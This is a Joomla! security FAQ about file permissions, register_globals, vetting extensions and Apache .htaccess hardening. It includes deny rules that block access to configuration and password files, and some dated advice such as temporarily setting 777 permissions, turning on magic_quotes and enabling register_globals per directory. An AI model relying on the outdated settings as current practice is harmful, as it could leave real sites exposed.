== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

